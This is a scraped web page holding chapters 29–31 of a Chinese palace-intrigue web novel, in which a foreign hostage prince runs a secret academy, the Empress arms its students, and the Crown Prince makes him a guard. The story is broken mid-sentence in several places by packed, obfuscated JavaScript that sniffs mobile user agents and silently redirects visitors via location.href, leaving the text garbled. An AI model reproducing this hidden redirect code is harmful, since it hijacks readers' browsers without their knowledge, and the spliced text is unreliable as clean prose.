l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958598|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘟囔着:“俺不是阿妹,看不见俺,找不到俺,俺不要回去写字。” 好一会儿,萧照急匆匆找了过来,见到皇后娘娘,大惊,噗通一声跪下了。 “娘娘,臣萧照叩见皇后娘娘,不知娘娘今日前来,有失远迎,望娘娘恕罪。” “免礼,您怎会认得本宫?” “祈福大典,臣在报国寺外远远见过娘娘一面。” 萧照观察到娘娘双眼微红,怀中抱着那小丫头,急忙低声说道:“阿妹,不得放肆,快回来,别弄脏了娘娘的衣裙。” “不碍事,萧先生怎会在韩府讲学?” “不过是囊中羞涩,便斗胆借用韩兄的府邸安置一下这群可怜孩子,顺道教教他们一些诗书。” “甚好。萧公子仁义。”皇后娘娘赞许道。 萧照面露难色,皇后见此,问道:“怎了,萧先生不高兴?” 萧照吓得急忙摇头,连说道:“非也非也,只是这也并非权宜之计,撑不了几天了,孩子们的吃穿用度姑且不说,单是教女子读书,便足够惹人非议了,萧某从前是个书呆子,实在是太过天真不知天高地厚啊。” “教女子读书怎么了?男子一个个抢破头去读书,为何女子读不得?” 萧照再次跪地,说道:“娘娘明鉴,这些女子,臣实话实说了,都是有家还不如无家,有父有母还不如无父无母,臣不过是想给这些孩子多铺一条路,读点书开蒙一下,不至于日后嫁鸡随鸡,一顶花轿便毁了半生。” “有人阻拦你?” “何止如此啊,她们的父母,平日对她们不管不顾,可臣一教她们读书,便急得跳脚,说臣这样会害她们日后嫁不出去了。” 皇后娘娘嗤笑:“哪里是担心闺女的婚姻大事,分明是怕收不上来聘礼彩礼。如今你给她们开蒙,那些虎狼父母日后还怎么好卖女儿了。” “是啊,可臣毕竟不是她们的亲生父母,名不正言不顺,官府也常常威胁,要不是韩兄如今疯魔见人就砍,怕早就冲进韩府把臣抓过去大刑伺候了。” “上得罪朝廷,下得罪父母,中间还有无数剪不断理还乱的世俗纷扰,臣一己之力,实在是支撑不住啊。” 良久,皇后娘娘开口:“萧公子,日后好好办学吧,今日本宫在外旁听,公子的讲学并不输宫中名师,请务必要将这群孩子教好,本宫会时常过来查探她们的功课。” “娘娘,可是……”萧照欲言又止。 “本宫会以当朝皇后的权势保你教学无忧。”皇后娘娘淡淡说道。 萧照闻言,热泪盈眶,连磕三个响头。 “臣在此代这些苦命孩子谢娘娘再造之恩。” 阿勒齐躲在外面什么也听不到,只听到三个巨响的磕头声,心道,世子狠起来是真狠啊,可别真磕傻了。不过,既然头磕得那么响,那这戏应该是成了。 有了皇后娘娘撑腰,世子想要组建的大渊第一青帮便可指日可待了,不过,里子是训练杀手暗卫,壳子却是读书学堂,日后怕是有的是头疼的了。 弯弯绕绕的真麻烦,还是先担心担心过两日怎么再搭一出戏把楼太傅也骗上世子这条贼船吧。 一天天的,真遭罪啊,读书人心里的小九九真吓人! 29.翰璃学宫(下) 在皇后娘娘的滔天权势扶持下,萧照得以在京郊偷偷开了个翰璃学宫,暗中广收天下门徒。 被父母卖掉的女儿,被婆母折磨的儿媳,因战乱无家可归的孤儿,穷途末路的少年人,都可以到翰璃学宫“求学”,以求庇佑。 每个人投奔到翰璃学宫的第一件事,便是先领两样东西,左手领一把斧头,右手领一只毛笔。 白天学四书五经,晚上学如何用斧头砍人。 “能不能不用斧头,换成刀或是剑?实在是有辱斯文啊!” “是啊是啊,堂堂七尺男儿,拿个斧头挥来挥去,咱这到底是学宫还是青帮匪窝啊?”男子们时常抱怨。 女子们更是不愿用斧头,“萧先生,男子姑且不说,咱们这些姑娘们的腰板还没斧背宽,实在是挥不动这三板斧。” 萧照对此并未斥责,只是轻言轻语道:“若是诸位晚上不愿练功,不愿用斧,那就改为每晚抄写一万字经史典籍,如此夜以继日,萧某料想,不出三年,诸位皆可成国之栋梁。” 啥?每晚要写一万字,天爷啊,那还不如死了算了!!! 练吧练吧,耍斧头哪有读书累啊,白天要听天书,晚上还要写那么多字,真是脑壳疼。 要俺这么熬夜苦学,俺宁愿被兄弟们一斧头砍死算了。 是啊是啊,耍斧头多痛快啊,顶多咔擦一刀,二十年后咱还是一条好汉,读书才是温柔刀,刀刀要人命啊。 众人商量了半天,最后异口同声:“我等愿意班门弄斧,唯萧先生人首是瞻。” 萧照:???我平日就是这么教你们的吗?书都读到狗肚子里去了。 至于把斧头换成刀和剑,那更是万万不可能的,刀剑都需要精铁锻造,大渊朝廷对精铁管制历来严格,一下买入那么多精铁,不是明摆着告诉朝廷他萧照要反吗? 虽是这般盘算,萧照还是能一身正气地说出:“学宫教大家文武,不是为了让尔等日后仗剑当个游侠或是提刀落草为寇。” “翰璃学宫,是救民于水火,教书育人的地方,教你们武功,既是为了尔等能在乱世保全自身,亦是为了能使学宫有一战之力,好护佑更多同门。” 萧照长篇大论一番,众人听得呼呼欲睡,也不知到底听进去了几成。 阿勒齐叹了口气,用斧头砍人不比刀剑好使吗?就这也要掰扯半天。 这么好的兵器汉人居然用来砍柴,难怪不能开疆扩土只能一味割地求和。 奇怪,世子今怎么这么多仁义道德的废话啊,听得我都尿急了,阿勒齐正疑惑着,突然想起今日是皇后娘娘要来翰璃学宫考核学子读书精益的日子,完了完了,光教他们砍人了,四书五经都是随便翻翻的。 世子讲完后,阿勒齐赶紧凑上去,压低声音说道:“世子,您忘了吗,今日皇后娘娘要来查验学宫讲学情况,可咱们的人,您是知道的,书是一点都没读进去,这可如何是好啊!” “无妨,娘娘读过的书还不一定有你阿勒齐的多,就算在她面前把诗经倒着读,她都听不出来什么不对的。” “啊,这,当朝皇后居然是半个睁眼瞎?就这也能当皇后?” 萧照笑了一下:“她若是饱读诗书学富五车还真当不了皇后,大渊皇帝看中她的便是女子无才。” 怕是看中她是江南第一美女吧!阿勒齐在心里嘀咕着。 “后宫嫔妃不读书不识礼,便不懂朝政,更不能把控朝堂,巧的是这位娘娘心里只有苍生,没有天下,我若是皇帝,也会选她入主中宫。” “啥意思,听不懂?”阿勒齐很是疑惑,明明世子说的每一个词他都懂,但是这些词合在一起他就懵了。 萧照无奈道:“娘娘是个傻女人。” 一手把控禁军,又和边关大将有私情,如此军权在手,再加上如今皇帝昏迷不醒,天时地利人和,明明离九五至尊之位仅有一步之遥。 此时不往前走,偏要回过头去管路边蝼蚁的死活,这天下没有比她更傻的人了! 话音刚落,禁军便将翰璃学宫团团围住,萧照瞬间心虚无比,暗自发誓以后定要谨言慎行。 阿勒齐更是吓得不行,这边刚听世子骂完娘娘,那边禁军就围了上来,娘娘该不会养了只顺风耳吧? 很快,皇后娘娘风尘仆仆赶来了,萧照和阿勒齐赶紧跪下连磕三个大响头。 “臣参见皇后娘娘,皇后娘娘万福金安。” 皇后娘娘打眼一看,学宫诸生都还站着,结果学问最好的两位讲学先生倒是见人就跪,脸吓得发白。 “你们俩给本宫滚出去,有多远滚多远,本宫有事要和诸生交待。” 萧照和阿勒齐闻言立马一溜烟跑了出去,要多狼狈有多狼狈,皇后娘娘白了他俩一眼,还说是什么楼太傅的亲传弟子,书读那么多,结果膝盖长在地上,唯唯诺诺,胆小如鼠…… “世子,娘娘这次直接把禁军给带来了,该不会是来杀咱俩的吧?” “应该不会,看她方才的神色,对咱们应该就是单纯恶心而已,并无杀心。” “那她为什么要把学宫团团围住,看这架势,苍蝇都飞不出去,皇后娘娘葫芦里卖的是什么药?” 萧照也是一头雾水。 禁军统领王衍回复:“启禀娘娘,翰璃学宫已在禁军控制之中,固若金汤,不会有任何外人能进来。” “好,有劳王统领了,让禁军全部退到学宫外,本宫有些体己话要和这群孩子说,本宫不希望有任何无关人士听到看到,懂吗?” “诺。臣等告退。” “等一下,把本宫带来的箱子先抬上来。” “诺。” 很快一箱又一箱的箱子抬到了诸生面前,看样子还挺沉,皇后娘娘的东西,想来必是贵重无比,该不会这些箱子里装的都是银钱吧,诸生翘首以待。 “诸位,近日书读得如何了?”皇后娘娘开口道。 “甚好,甚好。” “读书,小事一桩,我等日进斗书,功德无量。” “除了萧先生讲得听不懂,书上的字看不懂外,其他的都差不多懂了。” 众人自信满满,浑然忘了素日一沾书就困的狼狈样子。 芸香:???哪来的这么多学宫混子? 皇后倒是很满意:“如此便好,本宫设这座翰璃学宫并不是为了让诸位科举入仕或是嫁入高门,只是希望诸位在这乱世开眼看天下,保全自身,不至于随波逐流,误了终生。” “请诸位牢记,要把自己的命紧紧握在自己手里,莫要被旁人拐骗欺辱。” “是故,书是要读的,但也不必苦读,不要两耳不闻窗外事,也不要向前朝狗官那样,书读得越多,越是迷恋权力,越是贪心不足,越是刻薄寡恩。” “对了,更不要向你们家萧先生那样卑躬屈膝,膝盖长在地上,一脸奴才相。” 芸香:???让他们读书的是娘娘您自己,不让他们读书的也是您自己啊! “若是在寻常人家,读书自是有千般万般好处,可诸位身世凄苦,屡遭劫数,几度死里逃生才走到今日,光靠读书保全自身是远远不够的……” 皇后娘娘给了芸香一个眼神,芸香心领神会,立马将箱子全部打开。 到了众人盼望已久的开箱环节,大家忍不住凑上前去围看,生怕一会抢不到好东西,都说娘娘菩萨心肠乐善好施,箱子里的东西定是价值不菲。 结果箱子一打开,里面全是刀啊剑啊匕首啊,没一件值钱的东西。 众人:??? “本宫近日看了诸位的卷宗,有被父母卖到青楼的女子,有被乡里恶霸侵占田地走投无路的男子,有被赶出家门的,有饥荒逃难的……你们的事,本宫都知晓了。” 学宫诸生默默低下了头,近来读书练功忙到天昏地暗,都快忘了曾经差点活不下去,人啊,总是愿意渐渐忘记曾经吃过的苦,受过的委屈。 可记得又能怎么办呢?徒增怨恨罢了,自找苦吃…… 皇后娘娘接着说:“世道不公,经书救不了你们,朝廷官府更是指望不上,诸位,真正能救你们的只有你们手中的刀 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萧照佯装担忧,“娘娘,刀剑无眼,这群人身上可都背负着深仇大恨,你将兵器送到他们手上,怕是会出大事啊。” “没事,本宫说过,一旦被官府抓到,就报你喀沁世子的名讳。届时,所有的一切,都由你一个外族世子顶着,与本宫何干。” 喀沁?世子?萧照和阿勒齐大惊,原来娘娘早就知道。 “娘娘,既已知晓,又为何要用我二人呢?”萧照无奈。 “这种黑锅,只有让外族人背,天下人才不会有疑虑。届时,这些学子本宫也会以受外族人挑拨蒙骗为由向朝廷求情,放他们一条生路。” 阿勒齐:???谁说皇后娘娘傻啊,这可太精了,再精一点都要成精了。 萧照叹了口气,“娘娘真是为这些学子找好了所有退路,真可谓用心良苦啊。” 皇后娘娘像是在回忆什么,好半天才开口说话:“本宫入宫时曾遇到一可怜人,那人心地善良却命途多舛,本宫曾发誓,定要护那人周全。” 芸香闻言偷偷抹了把眼泪。 “然后呢?”萧照倒是很好奇大渊的宫闱秘事。 “死了,死得很惨很惨。” “这天下居然还有皇后娘娘护不住的人,真是咄咄怪事。”萧照忍不住阴阳怪气。 “那时本宫还不是皇后,手里也没有禁军,不过现在都有了。这一次,本宫定要护住这些学子。” 萧照心里猜了个七七八八,试探问道:“学宫中有学子和娘娘的那位故人有亲故关系吗?” “没有,只是很多学子的身世总让本宫想起那个人。”皇后娘娘淡淡说道,神情格外忧伤。 “娘娘想要臣做些什么?” “好好教他们诗书,把他们带回正道,用礼义仁智教化他们,放下仇恨,回头是岸。” “这很难,读书并不能改变一个人。”萧照这次实话实说。 “无妨,若他们胡作非为被官府抓了去,也只会说是你萧先生指使,萧照,你一个外族质子,你说,到时候谁会先死?” 话都说到这个份上,萧照跪下磕头:“谨遵皇后娘娘懿旨,臣愿做学宫诸生刀剑上的鞘,定当严加约束他们,带他们走上正途。” 皇后娘娘满意地点点头,“识时务者为俊杰,早这么说多好,萧照,本宫向楼太傅打听过你,他说你骨子里是个好人,本宫相信,以你的才华,定能不负本宫所托。” 阿勒齐:???好—好—人?这说的是我家世子吗?楼太傅八成是瞎了吧!!! “翰璃学宫的学子,日后要么江湖血雨胡作非为,要么桃李不言下自成溪,是进是退,是生是死,萧先生,好自为之。” 皇后娘娘摆驾回宫。 芸香心累:总算都交代完了,难为娘娘昨夜彻夜背词,今日可算在学宫里出口成章,没有在诸位读书人面前闹笑话丢人…… 萧照心中盘算:和娘娘的那位故人身世相似的人会是谁呢?一会定要好好翻翻诸生的卷宗。 30.出入地狱 诸生的卷宗和各类经史典籍放在一起,在学宫的东院,萧照曾说这样存放纸张不易受潮。 而诸生都住在学宫的西院,萧照则住在西院最里面的那间房里。 阿勒齐抱着一摞卷宗,从东院走到西院。这一路上,先是被四周高高厚厚的线装书团团围住,头晕目眩,好不容易走出东院,又看见满墙的刀、剑、斧头。 诸生中有人喜欢将兵器悬在墙上,觉得分外神气;有人喜欢将刀剑、斧头放在床上,每日睡前非得抱着这些冷兵器方能安眠;也有人喜欢将兵器埋在土里,什么时候用再挖出来,丝毫不觉麻烦,倒是害怕官府哪日抄家,一切又都烟消云散…… 整个东院都是书画笔墨,阳光和煦,宁静祥和;西院却全是冷兵器与冲天杀气,暗无天日,寒冷阴森。 同一座学宫,竟如此泾渭分明。 一走进世子的房里,墙上,门上,桌上,柜子上都贴满了字画。有世子端端正正的楷书,有行云流水的文章,有世子闲暇所绘的大山大水,花鸟走兽…… 阿勒齐一瞬间产生错觉,以为自己和世子才是生于斯长于斯的汉人,而学宫中的其他弟子则是骁勇彪悍的异族人。 “阿勒齐,快把卷宗拿来,你我一起看,看看有谁的身世能和宫里有所牵扯。” 阿勒齐听命,将卷宗分成两份,开始看了起来,心中却在疑惑:生在哪里真的重要吗?汉人和“蛮人”真的有那么大区别吗?为什么要把人按照身世,户籍,家谱,宗族分成完全不同的人,这些到底是根基,还是枷锁? 到底是哪位学子的身世如此不同,居然能和皇后娘娘心里那位故人的身世相似?萧照百思不得其解。 “我看这些人都挺惨的,出入炼狱好不容易捡条命来,没曾想转而又来到咱这学宫,本来活着就够不容易了,来这还得读书。”阿勒齐嘀嘀咕咕。 “那你觉得什么才是人间炼狱?”萧照冷不丁问道 阿勒齐想了想:“人间炼狱?是那个汉人常说的十八层地狱吗?想必是既有鞭子又有书,既有烙刑又有书刑。” “何以见得?” “炼狱,肯定不仅仅是肉身上的千刀万剐酷刑折磨,还得加上对三魂七魄的四书五经拷打。世子,自从跟着您一起读书后,我就发现,这人有时候脑子里遭的罪可比挨板子痛多了。” 萧照眼神阴沉,道:“照你这么说,我办的这个翰璃学宫,可是活脱脱的人间炼狱?” 娘耶,怎么把心里话说出来,阿勒齐赶紧找补:“不是不是,世子,我读书少,懂得少。依世子之间,那啥是炼狱啊?” “真正的人间炼狱不是将人草草杀死后送入十八层地狱,而是先给予他生的希冀,再亲手扼杀它。”萧照淡淡说道。 阿勒齐:???世子,我读书少,别蒙我,您方才那句说的可不就是咱这翰璃学宫啊!!! 说此话时虽无意,可萧照突然想到,学宫里的个别诸生,除了自己,还是有人给了他们生的希冀。 不对,不对,那几份卷宗有问题。 萧照回过头又彻彻底底翻了一遍卷宗。阿勒齐目瞪口呆,怎么聊着聊着就突然开始干活了,世子,您真是我阿勒齐的人间炼狱。 很快,世子在那一摞卷宗中抽出三份,仔细查看,终于确定了问题所在。 “阿勒齐,你看,这三个人居然自己带了路引,户籍和家书前来投奔学宫。” “挺好的,这还省得咱们派人去查证了,世子,您不是说疑人不用,每一个学子都要仔细查证。” “能进学宫的人,大多身世凄惨,是亡命之徒。很多人甚至背负着深仇大恨,改名换姓,需动用娘娘的势力方得以查证。” 萧照继续说道:“家仇,地方豪绅恶霸欺压,朝廷通缉,贪官污吏沆瀣一气。他们九死一生逃出来,身上又怎会带上一封信,一张字条,一纸户籍。” “他们巴不得一辈子都躲在京郊,希望别人看不见,找不着。” 阿勒齐惊呼:“您是说这些身世凭据齐全的人,反而有问题。” “关键是这几人不仅有户籍和家书,还有朝廷发的路引,出入大渊京都毫无问题,阿勒齐,他们应该是朝廷的探子。” 阿勒齐惊呼,完了完了,这下完了,咱名义上讲学,暗地里养暗卫死士的事怕是朝廷早就知道了。 萧照也懊恼不已,明明当初核查诸生身份时已是万分小心,处处查验。却还是忽略了“看起来毫无问题”的那三个人。 千里之堤,溃于蚁穴,万千谋划,毁于一旦。 可既已知晓,为何迟迟不动手,太子在等什么? 萧照想起了皇后娘娘,恍然大悟:“阿勒齐,你说在诸生眼里,你我在皇后娘娘面前是什么样子?” “自然是狗腿子的样子,卑躬屈膝,磕头不停,比孙子还孙子。” 萧照明了:“或许,在朝廷探子的眼里,真正私养暗卫的是皇后娘娘,你我只是娘娘的棋子而已。” “对啊,以皇后娘娘只有苍生没有家国的性子,是能干出勾结外族,豢养死士的行为。太子应该比我们更了解娘娘。” “正因为了解,所以隐忍不发。他知道一旦查抄学宫,娘娘定会弃车保帅,把责任全部推到我这个异族质子身上,娘娘的利益自是受不得半分损害。而太子和皇后,反而互增嫌隙。” “可世子您不是说,眼下大渊乱局,太子和娘娘必须一致向外,前朝和后宫不能再狗咬狗了。” “你都知晓的事,想必太子更是清楚不过。” 阿勒齐无奈:“明着不行,但是太子可以暗着来啊!世子,我们的小命可怎么办?皇后娘娘那边不能得罪,可是咱俩,不过就是外族质子和质子的护卫,太子不是想杀随时都能杀。” 萧照闭目点头。 “阿勒齐,这几天想吃啥就去吃啥,想买啥就去买啥,质子府存的钱足够你花了。” “世子,……,那您怎么办?” “本世子之前买的《兰亭序》帖子一直未临摹,素日只知道藏拙,字也写得规规矩矩端端正正,这次,本世子要好好写一些心中真正喜欢的字出来。” 阿勒齐:???世子,咱都快上西天了,您还有心情练字? 既已如此,那还是先去吃顿好吃的,怎么着也不能做饿死鬼投胎,阿勒齐飞快跑去醉仙楼大快朵颐。 萧照一时心烦气乱,都忘了提醒阿勒齐带上银钱。 习字使萧照的内心平静下来,他心里清楚,太子和皇后娘娘并肩作战多年,自是足够懂得彼此。 很快,太子便会反应过来,以皇后娘娘的心性,断不会豢养暗卫和死士。她是那么讨厌别人卑躬屈膝,又怎会干出如此泯灭人性的事呢? 太子只需稍加思虑便能猜出,一切都是萧照他自己搞出的名堂,萧照和皇后娘娘互为利用,他们只是彼此的棋子。 而那时,便是他萧照的死期。 喀沁历年战乱,萧照的兄长几乎死绝,喀沁男儿更是十不存一。他侥幸进京为质,这条命已算是捡来的,哪怕这次被大渊朝廷当街砍头,想来也是不碍事。 不一会儿,有学子叩门:“萧先生,午饭已经备好了。” “拿走,不吃。” “是,先生可还有何吩咐?” “无。” 萧照匆忙回复,他现在满心只想在死之前多写几幅字,多临几个贴。 哼!吃饭,他萧照才不要去吃呢!汉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991964|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都忌讳死前吃不饱,连死囚的断头饭都是好酒好菜伺候着。 他们说,饿死鬼不好投胎。可萧照却觉得,居然还有这等好事? 他不要有来生,不要有生生世世。人活着,难道还不够痛吗?为什么还要再来一世,再受一世的苦? 以后就一直当个孤魂野鬼,天地之间,来去自在,不受约束。 在人世时一切都自顾不暇,如履薄冰。 活着的时候没有时间多读书写字,死了之后,在阴曹地府,应是能一直写下去吧! 王羲之的字真的很美,《兰亭序》也很美,美到让人心痛。 这十八载,在书画里见过那么多波澜壮阔的风景,也算是,不虚此生了。 咚咚咚,又是一阵叩门声。 “我说了不吃。”萧照不耐烦道。 这一次,门外传来陌生的声音,“萧先生,东宫有请。” 萧照陡然停下了笔。 一日前,东宫太子府。 太子仔细看完了来自翰璃学宫的密报,沉默良久。 “殿下,这密报可是有问题?”杨昭不明所以。 太子并未回答,反而问道:“杨卿,你对外族之事可有了解,除了兵力部署,可知他们信什么神,拜什么教,素日里爱说些什么?” 杨昭笑着答道:“蛮夷之辈,贪婪无厌。粗鄙之人,殿下又何须对他们深究?。” 太子叹了口气:“看来我们对这些外族之人知之甚少,可他们,却对我们的文化政经了如指掌,本宫一时竟不知,这天下到底是谁在夜郎自大。” “殿下多虑了,中原正统始终在大渊这里,从古至今,哪有正统向外面的旁门左道学习之理。” 太子不语,只是继续低头看了看那份密报。 密报上说,萧先生待弟子虽严格,却也照顾有加,学问诗书,循循善诱,毫无保留。这种厚待,润物细无声,让人如沐春风。 学宫诸生皆是亡命之徒,双手沾满鲜血者不在少数,先生有教无类,待诸生并无差异。臣私下曾鼓动几位同门,以百金利诱,驱其刺先生,同门不为所动。 得人心如此,殿下不得不防。 学宫诸生上不知太子,下无视朝廷,只效忠萧先生。 炼狱归来,绝处逢生,如今各个勤练武功,熟读经书,假以时日,必成大患。 太子心底满是失落,他清楚,萧照是看重了学宫诸生能给他带来的战力,他才对他们倾囊相授。 他绝不是个好先生,他只是装成好先生的样子。 一旦那些学子毫无利用价值,他定会弃他们如敝履。 可到头来,天下居然竟都是这种戏子得了民心,而自己勤勤恳恳,一心为百姓着想,却背负着无尽骂名。 太子不禁想起当年曾为赋税之事和父皇争辩。 “父皇,万万不可啊,连年战乱,再加赋税,百姓会活不下去的。” “有何活不下去的,物竞天泽,强者存,弱者亡,天道也。” “还请父皇三思,这样做,我们会失了民心。” 时至今日,太子仍清楚地记得皇帝听到“民心”二字的轻蔑神情。 在大殿上,皇帝幽幽说道:“他们不配。” “所谓民心,往往随形势而转,其不可恃如此。加税,扩充军需,别看现在他们哭爹骂娘,待日后打了胜仗,他们又会跪下感恩戴德。” 太子不语。 皇帝又继续说道:“以后你就会明白,庶民劣根,只会屈从奉承。那群人自古以来便愚昧无知,生下来一辈子都在狗咬狗,欺软怕硬。你把他们放在心里,他们也只会觉得你是个好欺负的主,没准暗地里还笑话当朝太子是个傻人。” 31.绝处逢生 萧照到东宫正殿时太子还未到,他只得老老实实候着。 将死之人,也不怕什么规矩不规矩了,他在正殿四处绕来绕去,观赏墙上挂着的书画。 有一幅画格外不同,不似其他画作喜欢绘尽繁华之象,歌功颂德,粉饰太平。 那幅画叫《千里饿殍图》。 看这画作,是有些年头了。看来当年的太子殿下,也算是个励精图治,悲悯众生的主儿。 也不知道,这些年朝堂纷纷扰扰,把他磨圆了没? 正看着画,太子殿下突然进来了。 萧照这次所幸也不跪了,只是弯个腰作个揖:“臣喀沁质子萧照拜见太子殿下。” 太子的“免礼”还未说出,便看到萧照站直身子和他四目相对。 “萧世子好手段,本宫佩服。” “承蒙太子夸奖,萧某万不敢当。”嘴上是恭敬之语,面上却毫无恭之意。 “你受得起,当年你入京为质,空手而来,隐忍卑躬,穷得靠偷盗度日。短短几年,便能培养出自己的势力,拜太傅为师,精通四书五经。如今手下的翰璃学宫已有江湖第一大帮的雏形。” “人为刀俎,我为鱼肉,萧某不想在这京都任人宰割,不知所思所做,何错之有?” 太子不怒自威:“本宫自认为从未亏待过你们这些外族质子,可你们呢?表面忠心驯顺,暗地里却加倍反叛。暗流涌动,比之疆场,真是有过之而无不及。” “殿下您口口声声外族人,又何曾把我们这些子民当作是自己人。”萧照看破说破。 “本宫是真心厚待你们,只是非我族类,其心必异。历来所有的异族都是忘恩负义,反复善变,本宫不得不防。” 萧照大笑道:“非我族类,其心必异?明明是你们中原人自以为是天下正统,中原中原,自以为是天下中心。偏要普天之下,莫非王土,觉得周边邻国是你中原的藩属,偏要万邦来朝,走到今日,又怪得了谁呢?” “可如今,大渊并无吞并异族之心。可你们却表面臣服,暗地里图谋大渊疆域。” “太子殿下,这正是我们这些外族人心中的大道,身为一族子民,谁不想让自己的族人过上好日子,谁不想开疆扩土,谁不想住在鱼米之乡,不用忍受朔北风吹雨打。我们可以对不起殿下您,但是不能对不起我们的母族。” 良久,太子殿下感叹道:“天下本无事,外寇自扰之。本宫还是希望大渊和诸国重修旧好,百姓免于战乱。” 萧照一怔,太子这是,不打算杀他了? “殿下,事已如此,强扭的瓜甜不了,你还不如直接杀了我。” “强扭的瓜再苦,也不会比百姓的日子更苦了。本宫不会杀你,但也不会放任你胡作非为。” 明确听到太子不会杀他时,萧照的心里松下了一口气,语气也开始恭敬起来了。 “殿下想做些什么?” “自今日起,你一日在学宫讲学,一日做本宫的护卫,如此周而复始。你要有一半的时间待在本宫眼下,本宫才会对你放心。” “殿下,臣一个外族质子,日日跟在您身边,怕是不妥吧?万一哪天您有个三长两短,臣可就首当其冲,万死难辞其咎。” 太子殿下想了一会,觉得甚是有理,便说道:“确实,你一个喀沁质子,跟在本宫身边确实不合适,这样吧,本宫会请好的刀儿匠为你净身,届时,世间不再有萧质子,只有萧公公,旁人便不会再有任何非议了。” 什么,净身,萧公公……萧照的脑袋嗡嗡的,人生第一次如此惊慌失措,他赶紧跪下磕了个响头。 “臣萧照,愿做殿下的护卫,誓死护卫殿下,寸步不离,粉身碎骨在所不惜。” 太子强忍笑意,淡淡说道:“萧护卫不必多礼,快快请起,明日记得按时来当值。”言罢,便拂袖而去。 萧照走时,又看了看那幅《千里饿殍图》,或许太子殿下一直未变,一直都是那位宅心仁厚的主子。 绝对的权力能让人忘记初心,殿下的初心,竟丝毫不受权力纠缠利诱,真是个痴人傻人。 回到学宫,萧照打开房门,桌上还有未临摹完的《兰亭序》,一日之内,笔墨依旧,萧照却是心境大变。 萧照赶紧将《兰亭序》草草收好便束之高阁,浑然忘却了两个时辰前誓死都要习字的那份决心与热忱。 原以为,若能活着回来,那第一件事便是把这些字写完。可真的活着回来了,最想做的事居然是继续收服人心,萧照啊萧照,你真是狗改不了吃屎,他在心里暗自嘲笑道。 欲成大事,人心至关重要,必需要让学宫诸生死心塌地顺从自己。 萧照立即开始给诸生讲学,多是尊师重道的“肺腑”之言,而后又告知大家,自己有要事在身,以后他只能隔一日到学宫讲学。 原以为诸位弟子心中会有不舍,没曾想,大家一听到以后会少一半的书读,一时都压不住嘴角的笑意。 看来再好的先生也是不讨弟子喜欢,萧照在心中感叹。 没过多久,学宫便有人来传话,阿勒齐在醉仙楼大吃大喝却不付账,已被楼里的伙计扣下了,要萧照快去拿钱赎人。 萧照不以为意,一再坚持要给弟子讲完学再去赎人。心里盘算着,多扣他几个时辰,让他长长记性,看以后还惦记不惦记这大鱼大肉了。 诸生:???讲学并不重要,先生还是早些把阿勒齐接回来吧!!!我等对六经也不是非听不可。 傍晚,萧照姗姗来迟,将阿勒齐接回学宫。 “什么,太子居然没杀你,还让你当他的护卫。”阿勒齐不敢相信,寻思着自己今日也没喝多少,怎么就醉了。 “或许,这也是他收服人心的手段。”萧照给出了一个解释,比起太子仁厚,他更愿相信太子是有所图谋。这世上,慈不掌兵,怎会有上位者真正慈悲心肠呢? 换做旁人,在朝局里如此天真,一点点不杀之恩便对主子感恩戴德,忠心不二,十条命都不够用。 萧照在内心里暗暗告诫自己。 永远不要相信当权者的任何良善之面,为政只有你死我活,不可被些许善意蒙蔽,否则日后死都不知道怎么死的。 “世子,他为什么非要收服咱们,咱要啥啥没有,毫无利用的可能啊!”阿勒齐还是不解。 萧照想了一会:“或许大渊真的需要盟友,喀沁虽力弱,却有无数良驹。而大渊连年征战,各项军需都很紧缺,战马更是告急。若此时与喀沁结仇,得不偿失。” “好奇怪啊!质子去做护卫,拘束颇多,按世子的心性,定不会如此痛快答应?” 萧照想起太子的“净身”要挟,一时语塞,两耳发红,好半天都讲不出来话。 “世子这是怎么了?”阿勒齐觉得今日世子怪怪的。 “没什么,太子要挟本世子,若是不去做他的护卫,便要将本世子身边的人全部千刀万剐,车裂活埋。总之,为了尔等的安全,本世子索性豁出去了,一口答应太子了。“ 阿勒齐:???太子好狠毒啊,你抓世子当护卫密切监管就罢了,怎么还要我们这些小喽啰的命。 第二日,萧照早早便到东宫当值。 “哟,新来的啊!”其他护卫纷纷起身围着萧照打转,萧照觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995041|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是初入东宫的一只猴子。 “来之前吃饱了没?” 萧照想起自己昨日心慌马乱,粒米未进:“未曾,昨日饿了一天了,想着今日到东宫总不会缺吃短穿,便早早赶来,兴许还能蹭顿早饭。” 一众护卫痛呼,小兄弟,你要是想吃点好的,那你可是来错地方了。 “怎么,堂堂东宫太子府还能让侍卫饿着?”萧照不解。 “自是不能,可是东宫这饭菜如猪食般,难以下咽,小兄弟下次可要谨记,以后定要在家中吃饱再来当值。” “什么饭?” “整个东宫最下得去口的便是那馒头就咸菜,其他的……”一个护卫重重叹了口气,“一言难尽,一言难尽啊。” 大家是面露难色,欲言又止,止言又欲…… 萧照大惊:“太子竟如此苛待下人?” “非也非也,太子和我们吃得一模一样,后厨从不做两样饭。” 萧照很快便接受了这个事实,转而宽慰道:“诸位兄弟无需担忧,萧某对吃食要求不高,两碗白饭能裹腹便知足了。” 诸位侍卫又是一阵唉声叹气。 “萧兄弟,实话跟你说了,东宫的米,最好不要吃。都是三年陈米,多多少少都有些霉坏。” 